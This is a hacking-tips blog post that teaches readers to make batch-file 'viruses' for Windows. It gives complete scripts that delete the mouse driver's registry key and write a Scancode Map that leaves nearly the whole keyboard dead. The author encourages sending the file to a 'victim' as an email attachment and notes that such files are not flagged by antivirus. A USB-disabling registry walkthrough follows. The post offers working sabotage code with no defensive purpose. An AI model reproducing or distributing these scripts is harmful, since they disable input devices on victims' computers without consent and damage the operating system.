HackingTips and Hacks

Make A Virus to Disable Mouse/Keyboard/USB using BatchFile

Make A Virus to Disable Mouse Keyboard USB using BatchFile

Make a virus to disable mouse, disable Keyboard, disable all usb ports using batch file in One Click

What is batch file in computer?

Disable mouse-Disable keyboard-Disable all USB Ports:  Batch files allow Microsoft Windows users to create a lists of commands to run in sequence once the batch file has been executed. They are very useful for storing sets of commands which are always executed together because you can simply enter the name of the batch file instead of entering each command individually. Whenever you boot a DOS (Disk operating System) -based on computer, the system automatically executes the batch file named AUTOEXEC.BAT, if it exists.

Make A Virus to Disable Mouse Keyboard USB using BatchFile
Make A Virus to Disable Mouse Keyboard USB using BatchFile

Also Read: Why Should You buy Original Antivirus Software

Disable Mouse using Batch Files
What are batch files-blacklisthackers

Let’s take a simple example , Open your command prompt and change your current directory to ‘desktop’ by typing ‘cd desktop’ without quotes. Now type these commands one by one

  1. md x  //makes directory ‘x’ on desktop
  2. cd x  // changes current directory to ‘x’
  3. md y // makes a directory ‘y’ in directory ‘x’

We first make a folder/directory ‘x’, then enter in folder  ‘x’,then make a folder ‘y’ in folder ‘x’ .

Now delete the folder ‘x’. Lets do the same thing in an other way. Copy these three commands in  notepad and save file as anything.bat

Now just double click on this batch file and the same work would be done you will get a folder named ‘x’ on your desktop and folder ‘y’ in it. This means the three commands executed line by line when we ran the batch file.

NOTE: So a batch file is simply a text containing series of commands which are executed automatically line by line when the batch file is run.

What can batch viruses do ?

They can be used to delete the windows files,format data,steal information,irritate victim, consume CPU resources to affect performance,disable firewalls,open ports,modify or destroy registry and for many more purposes.

#1 Make a Virus that Disable Mouse using Batch File programming:

In above article I have explained about what are batch files and what batch files do, so now i will be discussing some steps for making a virus to disable Mouse using batch files-so lets get started.

Note : It will disable your mouse ,so try it carefully

disable mouse
Virus that Disable Mouse

 

  • Open Notepad and copy below codes to disable mouse using batch file programming:

rem ———————————
rem Disable Mouse
set key=”HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass”
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ———————————

  • Save this file as  virus.bat

Done you just created your virus. You can give any name like xyz.bat,abc.bat of your choice. Now you can run this virus to disable mouse.

#2 Make a Virus that Disable Keyboard using Batch File programming:

This section will disable your keyboard after you run this batch file on your system. You can send this to any victim by an email attachment or by means of something else and once he runs the program, his keyboard will not respond to the any keystroke. Basically these batch files are never treated as a virus hence you can take advantage of them. Even though they are not really any virus they create a devastating damage to your operating system.

Also Read: How to block a Website using a Virus Program

Also Read: Basic Concept For Computer Virus Awards: 6 Reasons Why They Don’t Work & What You Can Do About It

 

attack-keyboard-min

Steps to disable keyboard using batch file:

  • Open Notepad and copy below codes:

@echo off
echo Windows Registry Editor Version 5.00 > “nokeyboard.reg”
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] >> “nokeyboard.reg”
echo “Scancode Map”=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ >> “nokeyboard.reg”
echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\ >> “nokeyboard.reg”
echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\ >> “nokeyboard.reg”
echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\ >> “nokeyboard.reg”
echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\ >> “nokeyboard.reg”
echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00,53,00,00,00,52,00,00,00,\ >> “nokeyboard.reg”
echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52,e0,00,00,47,e0,00,00,49,\ >> “nokeyboard.reg”
echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00,00,00,02,00,00,00,03,00,\ >> “nokeyboard.reg”
echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00,00,08,00,00,00,09,00,00,\ >> “nokeyboard.reg”
echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00,0e,00,00,00,0f,00,00,00,\ >> “nokeyboard.reg”
echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14,00,00,00,15,00,00,00,16,\ >> “nokeyboard.reg”
echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00,00,00,1b,00,00,00,2b,00,\ >> “nokeyboard.reg”
echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00,00,21,00,00,00,22,00,00,\ >> “nokeyboard.reg”
echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00,27,00,00,00,28,00,00,00,\ >> “nokeyboard.reg”
echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e,00,00,00,2f,00,00,00,30,\ >> “nokeyboard.reg”
echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00,00,00,35,00,00,00,36,00,\ >> “nokeyboard.reg”
echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00,00,38,e0,00,00,5c,e0,00,\ >> “nokeyboard.reg”
echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00,22,e0,00,00,24,e0,00,00,\ >> “nokeyboard.reg”
echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c,e0,00,00,20,e0,00,00,6a,\ >> “nokeyboard.reg”
echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0,00,00,6c,e0,00,00,6d,e0,\ >> “nokeyboard.reg”
echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> “nokeyboard.reg”
start nokeyboard.reg

Just copy and paste the above code into notepad and save it with .bat extension.

#3 How to disable usb port in windows xp from registry

In this section you can disable access to your USB ports (Universal Serial Bus) on your Windows xp/7/8 based PC to prevent people from taking out data without permission or spreading viruses through the use of USB (pen and flash) drives. Anyone with a basic knowledge of computer should be able to understand the working of this virus program.

Also Read:  6 ways to enable or disable USB ports-windows xp/7/8

Also Read: USB password Stealer-Steal password using pendrive

15-10-02-10-10-26disable-pen-drive

Using this trick you can:

  • Disable usb mass storage device in windows xp/7/8/10
  • Prevent users from using usb storage devices
  • Block usb port through domain controller
  • Disable usb port in windows xp from registry

Trick to disable USB ports, follow the steps given below:-

  1. Click on Start.
  2. Click on Run. If you cannot find RUN, type it in the search box.
  3. Type “regedit” without quotes. This will launch the Registry Editor.
  4. Navigate to  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\usbstor.
  5. In the work area, double click on Start.
  6. In the Value Data box, enter 4.
  7. Click on OK.
  8. Close Registry Editor and refresh your desktop.
  9. To re-enable access to your USB ports, enter 3 in the Value Data box in Step 6.

Note: This trick also disables access to your USB connected peripheral devices. So, do not use it if you have USB connected keyboard and mouse.

Also Read:

 

Harinder
the authorHarinder
blacklisthackers.com is created and owned by Harinder(Aarav).Aarav is a technology Blogger from India(Dehradun). He’s Quiet type and Creative Guy who enjoys creating and exploring new trends on the WEB. Currently pursuing B.tech from DIT University.

6 Comments

Leave a Reply